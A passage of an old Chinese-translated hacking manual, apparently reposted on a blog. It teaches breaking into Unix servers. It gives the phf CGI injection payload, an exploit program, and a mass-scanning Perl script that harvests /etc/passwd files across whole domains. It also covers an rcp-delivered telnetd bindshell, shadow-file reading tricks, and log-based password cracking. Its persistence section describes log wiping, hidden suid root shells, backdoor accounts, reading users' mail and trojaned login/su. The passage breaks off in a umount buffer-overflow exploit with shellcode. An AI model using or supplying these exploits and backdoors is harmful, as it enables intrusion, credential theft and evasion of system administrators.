的密碼為空,然後再telnet該主機。)別忘了將passwd.my恢復為passwd(譯者註:恢復
root用戶的舊密碼),刪除備份文件,然後你就可以運行一個合適的shell,並將其隱藏起來
作為嗅探器(sniffer)來獲取所需的密碼了。)

只要你知道如何在UNIX中輸入命令,同時沒有忘記使用%20來代替空格符,你就不會遇
到什麼困難!

OK。現在讓我們來獲取本例中的passwd檔吧。;-)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

我們將會看到:


QUERY RESULTS



/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(一個小小的密碼檔 ;-) )

如果你希望保存這個文件,只要在文本瀏覽器中選擇「打印」和「保存
為文件」即可。

現在讓我們瞭解一下paaswd檔的結構:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7

1=用戶名 2=被加密的密碼 3=用戶標識 4=用戶組id 5=真實名字
6=用戶根目錄 7=shell

好。假設你不想使用WWW瀏覽器,編譯並執行以下腳本也可以達到目的:

phf.c
------ cut here----

/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/

#include
#include
#include
#include
#include
#include
#include

int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;

if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
++i;
}

strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}

-------- cut here

使用舉例:

bash% phf id xxx.org

------

Query Results



/usr/local/bin/ph -m alias=X
id

 
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
------

以上是系統對程序的響應。再說一次,使用%20代替命令行中的空格符。
使用如下格式可顯示passwd檔:

phf cat%20/etc/passwd hostname.xxx

另外,Quantumg在他的主頁上提供了利用phf的新方法,我覺得有必要讓大家
瞭解一下。

內容如下:


--------------------------------------------------------------------------------

Phf 查詢攻擊新方法


是的。我知道phf攻擊已經是眾所周知了,但你會奇怪為什麼還有那麼多笨的
LINUX用戶。。。

首先...先介紹一下背景:

phf是Apache上WWW服務器的cgi-bin命令。它存在缺陷,其後果是允許任何人以運行
http服務器用戶的身份執行命令。通常該用戶是nobody,但有時是root。要利用這一
缺陷,只需簡單地連接了該WEB服務器,並執行以下查詢:

GET /cgi-bin/phf/?Qalias=X%0a

其後跟著你所希望運行的命令(用%20代替空格符)。

OK。以下是攻擊方法。我們所要做的就是尋找存在phf漏洞的LINUX服務器。(我
經常telnet到issue.net查找。)和大多數人一樣,我使用Loxsmith編寫的phf程序。
該程序要求把目標主機名放在第二個參數,而所要執行的命令放在第一個參數:

phf id www.host.to.hack

這裡id就是所要執行的命令,這往往是我第一步都會做的。因為它不僅告訴你此
系統是不存在此漏洞,還可以提供httpd用戶的信息。因此,如果我們得到一個理想
的響應,那就意味它就是我們的目標了。第一件事是獲取目標主機上的有用資料,
這並不是一件難事。你可以 (1)、檢查是否有可讀寫的ftp目錄;(2)使用rcp
(這是我最喜歡用的)。為了使用這個命令,你需要對本地主機進行設置。(如果
本地主機是你hack過的,那就好辦多了。)首先是獲得有效的用戶帳號,名字應該
簡單而不易被注意(如:test);其次,把目標主機名寫入本地主機的/etc/host.equiv
中;接著就是在/etc/inetd.conf中必須有shell行;最後,在用戶(test)根目錄下建立
含有目標主機名和httpd用戶的.rhost文件。如下:


/etc/hosts.equiv:
www.host.to.hack

/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L

~test/.rhosts:
www.host.to.hack nobody

好。一旦一切都設置好了,便可以從遠程主機上獲取資料了。

我以前採用的hack方法,都是將經過多次修改的小hack代碼傳送給phf執行。
這並是一件輕鬆的事情,而且效率也不高。現在我找到了一個更好的解決辦法
被傳送的是一個經過修改的in.telnetd,它被改為在「debug」方式下啟動,「debug」
方式將允許從端口9999登錄,而且執行的shell是/bin/sh,而不是/bin/login。
該in.telnetd允許在端口9999接受任意多的連接和執行shell。

因而,為了使遠程主機做到這一點,所要做的就是將其放入用戶根目錄,
並確保可讀。然後執行:

phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack

在本地日誌文件中,你會看到一個與in.rshd的連接和它所執行的命令(如:
rcp -f bindwarez)...當phf執行完後,bindwarez會被複製到遠程主機上的/tmp
目錄下,於是你便可以執行這個文件並遠程登錄到端口9999。

如果這個網站的用戶笨到以root運行http,你就可以通過安裝一個in.telnetd
特洛木馬並清除日誌,以獲得root用戶的密碼。然而,在大多數情況下,你只能
獲得nobody權限,需要通過系統的其它漏洞去「黑」root用戶。我常常發現這並不
困難,因為系統管理員往往認為沒有人會在WWW服務器上運行shell,因而沒有必要
設置安全系統。很顯示,他們並不瞭解自己的系統是否存在phf缺陷。

在這裡,我不必再次強調清除日誌的重要性。你在rcp命令中輸入的地址是可以讓
系統管理員輕易發現的。這些日誌通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最簡單的方法是在這些路徑上查找它。如果找不到,可以執行find / -name cgi-bin。
另外,不要忘記清除indwarez進程和刪除/tmp/bindwarez文件。


這個非常巧妙的攻擊方法讓phf做你想做的事,而phf對此卻無可奈何。 ;-))

L8s

QuantumG


另一個利用phf的方法就是執行以下腳本。它使用了從rs.internic.net下載並用
getdomain.pl分析出的域名文件。geturl.pl腳本可以探測網絡上的每一台domain。

腳本內容如下:

geturl.pl
--------- cut here

#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);

# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("$_\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;

# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("$_\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}

# We are done. Close the output file and end the program.
close (OUTFILE);


0;

------------- cut here

OK。這很簡單吧。如果你定義了自己的域名文件urls,也可以使用geturl.pl。

以下是腳本文件說明:

這個輕巧的工具非常容易使用。它可以幫助你取得root用戶權限和從不同的
domain獲取passwd密碼檔。

geturl.pl試圖記錄Internet上每台domain對phf的響應結果。你可以選擇.com .edu
.org .mil .gov或是需要探測的IP地址列表。一旦發現具有root權限的用戶,便在結果
文件中記錄uid=root,然後繼續探測下一台domain。如果phf探測器找到的用戶沒有
root權限,它就會讀取該domain上的passwd密碼檔,並在當前目錄下以domain.???.passwd
文件名保存。

以下是此工具的使用說明:

ftp到rs.internic.net站點

在domain目錄下尋找:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

下載這些文件並對目標主機所屬域名文件運行getdomain.pl,如:

perl getdomain.pl com.zone com >com.all

該腳本會分析出.com域的所有主機名並輸出到文件com.all中。

如果希望分析.edu域,輸入:

perl getdomain.pl edu.zone edu >edu.all

你便會有一個供geturl.pl使用的文件edu.all。

使用geturl.pl的格式如下:

geturl.pl

用edu.all或com.all代替
如果你定義了域名文件urls,運行geturl.pl時不需

運行結果被記錄到當前目錄下的GetURLResults文件中。

1. geturl.pl使用lynx進行搜索(lynx要在查找路徑中)。

2. 如果geturl.pl發現在一個url的httpd上獲得了root權限,就會記錄該root用戶。
如果http用戶不是root,但該用戶具有在http上執行phf權限,就會抓取該
domain的passwd檔,並以fulldomainname.passwd的文件保存到當前目錄下。

3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。

4. 我使用的是OS/2的lynx和perl,在長文件名方面沒有遇到問題。我在UNIX機
進行了測試,該程序也可以正常工作。


你需要:

1. Perl在查找路徑中
2. Lynx在查找路徑中
3. 長文件名(256字符)支持(如UNIX或OS/2)
4. 本文所列出和包含的所有文件
5. 從Internic站點下載的域名文件或自行製作的url或IP列表文件(取名為urls,
運行時僅輸入geturl.pl)


注意事項:

如果你有一個現金付費的互聯網帳號或通過hack而得到的帳號使用此工具來獲取
成果,那就最好了。然後便可以用另一個安全的帳號使用你的勞動成果了。但我並不
必警告你這些,對吧?我對這些工具並不覺得羞恥。這裡提供的工具是讓你們檢查
domain的安全性。;-)


getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 檢測並記錄每一台domain的響應結果
GetURLResults: geturl.pl程序的結果記錄文件



這裡還有另外一種方法:

如果你能讀取/var/adm/messages文件,或許你能輕而易舉地得到一些用戶的密碼!
我曾經採用這種方法獲得過root用戶的密碼!

還記得有多少次你是急著登錄的嗎?你可能因此而在login:裡輸入了密碼:這種
事情是很容易發生的。這樣你就會出現兩次登錄失敗,系統就在這個時候胡所動作了。
例如:(假設你很急著登錄而沒有留意屏幕)

Login: (你鍵入回車(而你此時並不知道))
Password: (你以為現在開始登錄了,便輸入用戶名)
Login: (然後輸入用戶密碼)

此時系統會在messages文件中產生如下記錄:

Login: (這裡是你的用戶密碼!!!)
Password ****** (系統當然不會給你看見密碼了!?但由於你在Login:處輸入了
用戶密碼,只要我們有讀取messages文件的權限,就會得到用戶密碼,並供crackerjack
運行(以找出對應的用戶)。如果是在一個小型系統,或許...就是root密碼!;-))


以上這些工作可以由以下腳本輕易完成!


對於Quantum的bindwarez文件,你可以在附錄中找到。

------------ cut here

#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
#
# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat << ! > scrack.c
#include
#include
#include
#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;

if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );

encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here


--------------------------------------------------------------------------------

從新手處獲取

好。重複一次,這是獲取密碼的另一種方法。只要按照第二章所談到的相關
內容去做就行了。運用你的智慧去與那些尚未成熟的「新手」交朋友吧。;-)

對了。在閱讀本手冊前,你可能曾經也是別人的「新手」朋友呢!;-)


--------------------------------------------------------------------------------

獲取shadow密碼檔


什麼是shadow密碼檔呢?

舉個例子,如果你利用上述方法取回來的passwd檔,其內容如下:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

是不是少了點東西?噢,被加密的密碼。如果你有root權限,就會在/etc/shadow中
找到這些被加密的密碼。某些系統管理員會將shadow檔隱藏到其他隱蔽的目錄下。但
多數情況下,你可以在/etc目錄下找到。有一些shadow程序會將密碼保存到master.passwd
文件中。但只要你有root權限,總有地方可以找到它。

現在,假設你有一個有效帳號,但沒有root權限。

如果主機使用的是libc5.4.7(多數系統都使用它 ;-) ),而且下列文件之一要求
必須有suid權限:

ping, traceroute, rlogin, or, ssh

1. 輸入bash或sh以啟動一個bash shell
2. 輸入: export RESOLV_HOST_CONF=/etc/shadow
3. 輸入以上文件名之一,並加上asdf參數,如:

ping asdf

如果一切正常,你就會得到shadow密碼檔。
這個方法對於我這幾天在許多系統中進行的測試均很有效。

註:你可用所希望讀取的文件名(文件擁有者是root)來取代/etc/shadow。

以下腳本可以讓你輕而易舉地讀取所需要的文件:

rcb.c
-------- cut here

/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/

#include

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;

if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag+=10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer+strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}

-------------- cut here

命令行:rcb /etc/shadow (或其他你在這個系統中不能讀取的文件。;-) )



--------------------------------------------------------------------------------

獲取/etc/hosts檔


需要注意的是,有時你需要知道有哪些系統在hosts文件中,或在這個系統中有哪些
其他domain和所有的IP地址,因此,不要忘了讀取/etc/hosts文件以獲得以後你可能需要的
資料。



--------------------------------------------------------------------------------

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

保持在主機上的權限


--------------------------------------------------------------------------------

目錄:
一些訣竅
Root和Demon的工具包及特洛伊木馬


--------------------------------------------------------------------------------

保持訪問權限的方法有很多。雖然在你學習本文時,可能正將要失去在某些主機上
的訪問權限,但我希望本文中的一些經驗可以使你成為一名「堅固」的黑客。

一些訣竅

這裡提供的一些「訣竅」可以幫助你保持在主機上的權限。一旦系統管理員發現了
你,他們會在一旁監視你和你在該系統上所做的每一件事,他們還會重新編譯二進制文件
、更改每個用戶的密碼、拒絕來自你所在主機的訪問、隱藏passwd和shadow檔、檢查有
SUID的文件,等等......

如果你發現自己已經暴露了,不要試圖再次闖入該系統。我就曾經目睹了一些人因為
試圖通過安裝特洛伊木馬、使用其他帳號或以前所設置的「後門」再次獲取權限而被捕。
仔細想一下,他們在監視你......你在系統中的一舉一動、精心設計的程序都會他們知道!

千萬不要這樣!請等待!當一個月後,他們會以為事情已經過去而放鬆警惕。這時,
你就可以利用他們遺漏的系統漏洞之一再次進入該系統,並嘗試恢復你以前所做的工作。

OK。以下就是這些「訣竅」。

歷史文件:
--------------
總是把你的.bash_history文件鏈接到/dev/null。否則,至少要編輯它。記住,.bash_history
會記錄你在退出登錄前所輸入的命令。舉個例子,如果你編輯它,它就會記錄到你正在
編輯它。你或許可以在另外的shell中編輯它,但這似乎有點多餘,只要把它輸出到/dev/null
就行了。

1. 如果在用戶目錄下有.bash_history文件,刪除它。
2. 在用戶根目錄下輸入命令:ln -s /dev/null .bash_history

「藏身」目錄:
-----------------
總是在系統找一個目錄作為你的文件的「藏身之所」。這裡提供幾個大多數用戶幾乎
從來沒有瀏覽過的目錄。

在用戶根目錄中尋找.term,在該目錄下只有一個termrc可執行文件。系統管理員及其同類
用戶都已慣於看到這個隱藏目錄,但幾乎從未進入此目錄。如果你們進入了這個目錄,你想
他們對此目錄下的termrc可執行文件有何感想呢?對了。沒有。。。因為他們認為這個文件
正在它應該在的地方。

好了。讓我們把termrc變大一點,並加上suid權限。。。你明白其中的意思吧???我
想你能猜得到。;-) 然後切換到/bin目錄並輸入:
cp bash(或sh等之類的shell) ~username/.term/termrc
chown root ~username/.term/termrc
chgrp root~username/.term/termrc
chmod +s ~username/.term/termrc

現在,你有一個可以隨時成為root用戶的文件,而且不易被系統管理員發現。如果你希望
做得更好一點,可以修改文件日期,使其看起來是一個「舊」文件。

另外,還有一些是每個用戶必有但卻可能從未使用過的目錄,如 .elm 、.term 、mail。你還
可以嘗試建立「...」目錄,由於它緊跟在兩個特殊目錄「.」和「..」之後,不易被察覺,因此
是簡單可行的。當用ls -al察看時,顯示如下內容:

1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html

看見它所處的位置了嗎?

但如果使用 ls -l命令,只會顯示如下內容:

1024 May 19 1996 public_html

記住,你也可以尋找一些具有很長名字的文件路徑,而且一般沒有人想進入它。
利用它來作為你的「藏身」目錄,當然,你甚至可以在那裡建立「..,」目錄。;-)


製作新命令
--------------------
在你檢查cron是否已經使用MD5加密後,你或許希望將所設計的程序複製到另一
個不同的文件以保存在系統中;以或者是覆蓋一個你知道從未有人使用過的命令。
複製文件時應注意修改文件日期,不然遲早系統管理員都將修復系統,使你所設計的
程序都是白費心機。

更好的方法是為所要使用的shell取另外的新名字,並使它具有suid權限。


增加或修改登錄密碼
---------------------------------
另一個可行的「後門」是在passwd檔中增加新用戶,並盡量使它看起來像是原來
就有的。盡量不要使用這個新用戶密碼,不要用它登錄,只是在你失去了原有權限時
才將它派上用場。

特點:這個用戶不必是容易引起注意的root用戶;你可以在任何需要的時候成為
root用戶。以下是一個實例:

We want to make our account look like it belongs, so lets keep to thetop of
the file.

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash

以上這些已足夠我們使用了,因此我只列出這些用戶。

1. 查看用戶operator、ftp和postmaster,所有這些帳號都可以執行shell,而且沒有設
置密碼。在你的shell中輸入:

passwd postmaster

回車(entern)以設置其密碼為空。這樣,你就能在任何時候用這個帳號登錄,
同時也不會引起引起系統管理員的懷疑。

2. 在passwd檔中加入下面一行:

syst::13:12:system:/var/spool:/bin/bash

將該行放入文件內部(不會引起注意)。在密碼部分::可以不進行設置,或者在
root shell中鍵入passwd syst以輸入新密碼。組和用戶id可以隨意設置。


3. 查看sync用戶一行:

sync:*:5:0:sync:/sbin:/bin/sync

將其修改為:

sync:*:5:0:sync:/sbin:/bin/bash

然後運行 將密碼設置為空(或其他)。在這個賬號中gid=0。;-)


安裝遊戲
----------------

如果系統中裝中遊戲,你也可以安裝一些可以利用的遊戲,如doom、abuse。在附錄
中有可以利用這些遊戲取得root權限的程序。


保持監視
------------------

總是要知道系統中的管理員是誰。如何如何發現他們呢?可以查看passwd檔中的
用戶根目錄、用戶id、用戶組或者閱讀bash_history文件查看使用管理員命令的用戶。
你還可以從這些歷史文件中學到新的命令,不過,主要還是要知道誰在這個系統裡。
一定要很熟悉你正在使用的系統;用su : 查找用戶;瀏覽log文件以查看誰在使用管理
員命令。

對系統保持監視。當你在系統中時,要注意別人。查看管理員命令歷史記錄,看看
他們在使用什麼命令:tty端口監聽?過多的ps命令?在ps或w或who命令後跟著finger
命令說明他們正在監視系統中其他用戶。監視系統管理員,並要留意他們對系統中用戶
有多少瞭解。

閱讀系統郵件

首先要記住:從不使用系統郵件程序。否則用戶會知道你閱讀了他們的郵件。我使用
了一些方法來閱讀郵件。現在讓我們來看一看:

1. cd /var/spool/mail

在此目錄中保存著所有未閱讀郵件和等待中的郵件。我們可以按照以下步驟閱讀
郵件:

grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more

譬如你想查看pico用戶名,可以鍵入ctrl+w來進行搜索。如果你看見有其他系統
管理員有郵件告訴系統管理員你正在使用某用戶名從他們的服務器上攻擊該系統,
你當然可以刪除它了。

有一個郵件閱讀器,它允許你閱讀郵件,但並不更新郵件標識(是否已讀):

http://obsidian.cse.fau.edu/~fc

在那裡有一個工具可以在不改變最後閱讀日期的情況下顯示/var/spool/mail中的郵件。
也就是說,他們(用戶)根本不知道你已閱讀過他們的郵件。

另外要記住,你可以在用戶的目錄下發現其他系統郵件。一定要檢查/root目錄。
檢查/root/mail或username/mail或其它包含了以前郵件的目錄。

祝你「狩獵」快樂。。。


--------------------------------------------------------------------------------

Root和Demon工具及特洛伊木馬

Root工具是ps、login、netstat的c源程序,有時還有一些已經被「黑」過的程序以
供你使用。有了這些工具,就可以更換目標主機上的login文件,從而使你能夠不用帳號
就可以在目標主機上登錄。

你還可以修改ps,使你在系統管理員使用ps命令時不會暴露,還可以隱藏一些有
明顯含義的可執行文件(如「sniff」開始的文件)在運行時的進程。

Demon工具提供了identd、login、demon、ping、su、telnet和socket的黑客程序。

特洛伊木馬是那些可以讓你在某些方面欺騙系統的程序。一個放在系統管理員目
錄下的su木馬程序,只要你改變了他的查找路徑,su木馬程序就能在真正的su程序前首
先運行。在向其提示輸入錯誤密碼,同時刪除木馬程序並保存其密碼到/tmp目錄下。

一個login木馬程序可以將主機上所有的登錄密碼保存在一個文件中。我想你知道
其中的含義了吧。;-)

Demon和Linux root工具的源程序可在附錄VI中找到。



--------------------------------------------------------------------------------

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

獲取root帳戶


--------------------------------------------------------------------------------

目錄:

Bugs(一些漏洞)

Exploits(利用漏洞)


--------------------------------------------------------------------------------

如我前面所說的,大多數情況下,你僅僅需要一個帳號就行了,如果你得不到系統的root,你可能會用它來和IRC迷換取其它帳號或一些對你hacking有幫助的信息.本章有足夠的幫助信息讓你即使你得不到root帳戶,也可留著系統以後再用.你可以把帳號先放一邊,把有關信息記錄在一些log文檔中,並做好備忘錄以便以後當有新的可利用漏洞被發現時你可以回憶起來:)

在你確信不會有失去帳號的危險之前不要輕易進入系統。記住:當你用一個帳號Login而又沒拿到root時,你就無法清除日誌文檔(logs),這樣該用戶下次login時,就會看到這樣的信息:

last login from xxx.com time:0:00 date:xx/xx/xx


--------------------------------------------------------------------------------

Bugs(一些漏洞)

不同的程序裡都有很多Bug可利用來取得root權限.Bug可能是安裝在系統上的一個遊戲,或者甚至是sendmail程序.如果他們沒有定期升級程序,你可以確信肯定可以入侵(即使現在不行,也是很快就行).

我會在此提供一些主要的Exploit(這個詞動詞是」利用、使用、開發」的意思」,名詞其實和bug意思差不多:譯注)和Bugs,其它不大常用的則在附錄裡介紹.我會給你詳細的英文條款,讓你能取得系統的root權限.但請務必在行動之前先完整閱讀完下節和本手冊,以確定你以正確方式開始,並且不會搞得在系統裡呆得太久.


--------------------------------------------------------------------------------

Exploits(利用漏洞)

Umount/mount Exploit

在/bin目錄下尋找名為Umount(或mount)的文件,如果你找不到,用下面的命令搜索:

find / -name umount -print -dev

(你可用同樣的方式尋找任何文件)

進入該文件所在目錄並且:ls -al um*

如果文件有SUID」s」標誌,你就可能拿到root.

SUID 」s」使文件屬主(這裡是root)有rws權限。你要尋找的就是這個」s」.

看這兒:

victim:/bin# ls -al um*

-rwsr-sr-x   1 root         8888 Mar 21  1995 umount

victim:/bin#

 

通過編譯下面的文件我們就可以拿到此機器的root.

umount.c
------ cut here

/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm
 * /etc/mtab~, if this file exists you can't root with mount until it is
 * removed.
 *
 *
 *                                          -ReDragon
 */
#define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;

   for(a=0;a       *(ptr++) = 0x90;
